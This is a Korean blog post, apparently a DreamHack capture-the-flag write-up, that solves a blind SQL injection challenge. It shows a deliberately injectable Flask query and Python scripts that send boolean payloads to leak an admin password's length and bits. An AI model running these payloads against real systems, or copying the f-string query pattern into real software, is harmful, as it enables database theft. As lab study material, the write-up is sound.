
나는 많이 어려웠는데 왜 이리 잘하는 사람들이 많은 거야
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
uid를 검색하는 쿼리가 실행되는 걸 볼 수 있다.
(f"SELECT * FROM users WHERE uid='{uid}';")
이 부분을 이용해서 참/거짓을 따져야 한다.
그리고
init.sql 문제파일을 보면...
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
uid, upw에 대한 정보가 나와있다.
uid는 admin , upw 은 flag 값이 담겨 있다.
한번 실험해 보자.

uid에 admin을 입력했더니
user "admin" exitsts. <-- "<uid>"
이것을 참 값으로 설정하면 참/거짓의 유무를 파악할 수 있다.
키를 얻었으니 비밀번호 길이를 살펴보자.
def find_password_length():
password_length = 0 # 비밀번호의 길이를 초기화
while True:
password_length += 1 # 비밀번호 길이를 1씩 증가시킴
# SQL 인젝션 페이로드 생성: 비밀번호 길이가 현재 길이와 같은지 확인
query = f"admin' and char_length(upw) = {password_length}-- -"
# GET 요청 보내기
r = get(f"{host}/?uid={query}")
# 응답 텍스트에 "exists"가 포함되어 있으면 길이를 찾음
if "exists" in r.text:
break # 조건을 만족하면 루프 종료
print(f"password length: {password_length}") # 발견된 비밀번호 길이 출력
return password_length # 비밀번호 길이 반환
삽입공격을 시도한 구문은 admin' and char_length(upw) = {password_length(반복)}-- -"이다.
and 연산을 이용해 admin으로 충족시켜 뒤에 있는 char_length(upw) 만족시켜 길이를 파악하는 것이다.

길이는 13 이 나와있다.
여기서 구문을 'char_length'가 아닌 'length'로 바꾸면 답은 다르게 나온다.

27이 출력되는 걸 볼 수 있다.
char_length와 length의 차이점은 문자가 몇 개 있는지 알려주는 것(char_length) , 문자열의 Byte 길이 (length)이다.
힌트대로 한글이 섞여있어 문자의 개수와 byte 가 다른 것이다.
그렇다면 일반적으로 문자열을 추출하면 혼란스러우니 특정 문자를 정해 순서대로 ASCII 값을 비트 표현으로 변환한 후
비트 길이를 출력해야 한다.
def find_bit_length(password_length):
password = "" # 비밀번호 문자열 초기화
for i in range(1, password_length + 1):
bit_length = 0 # 현재 문자의 비트 길이를 초기화
while True:
bit_length += 1 # 비트 길이를 1씩 증가시킴
# SQL 인젝션 페이로드 생성: 현재 위치의 문자의 비트 길이가 현재 bit_length와 같은지 확인
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
# GET 요청 보내기
r = get(f"{host}/?uid={query}")
# 응답 텍스트에 "exists"가 포함되어 있으면 비트 길이를 찾음
if "exists" in r.text:
break # 조건을 만족하면 루프 종료
print(f"character {i}'s bit length: {bit_length}") # 발견된 문자 i의 비트 길이 출력
처음에 한 char_length 값 토대로 각 문자마다 비트로 변환시킨다.
substr로 문자열 자체를 보는 게 아닌 문자열 문자 하나하나 마다 지정해 준다.
ord를 통해서 문자는 ASCII 값으로 변환시킨다.
bin을 이용해서 ASCII 값을 이진수로 바꾼다.
length로 이진수 값이 된 길이를 계산한다.
실행해 보면..

각 문자마다 이진수 된 값들이 나온다.
복호화를 시켜주자..
이진수 형태로 변형된 문자들을 먼저 정수로 변환시켜주자
int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
1.int(bits,2) 이진수 형태로 저장된 bits 문자열을 10진수 정수로 변환
2.int.to_bytes(int(bits,2), (bit_length + 7) // 8 --> 변환된 정수를 바이트 배열로 변환시킨다.
3.decode("utf-8") --> byte 배열을 UTF-8 문자열로 디코딩
이렇게 하면 password 가 복원이 된다.

진짜 진짜 힘들고 오래 걸렸는데 항상 풀이 쓰면 왜 이리 쉬워 보이는 건지 모르겠다
'DreamHack > WEB' 카테고리의 다른 글
| php7cmp4re (0) | 2024.11.05 |
|---|---|
| sql injection bypass WAF (0) | 2024.10.29 |
| command-injection-chatgpt (0) | 2024.10.23 |
| error based sql injection (0) | 2024.10.18 |
| simple_sqli_chatgpt (0) | 2024.10.17 |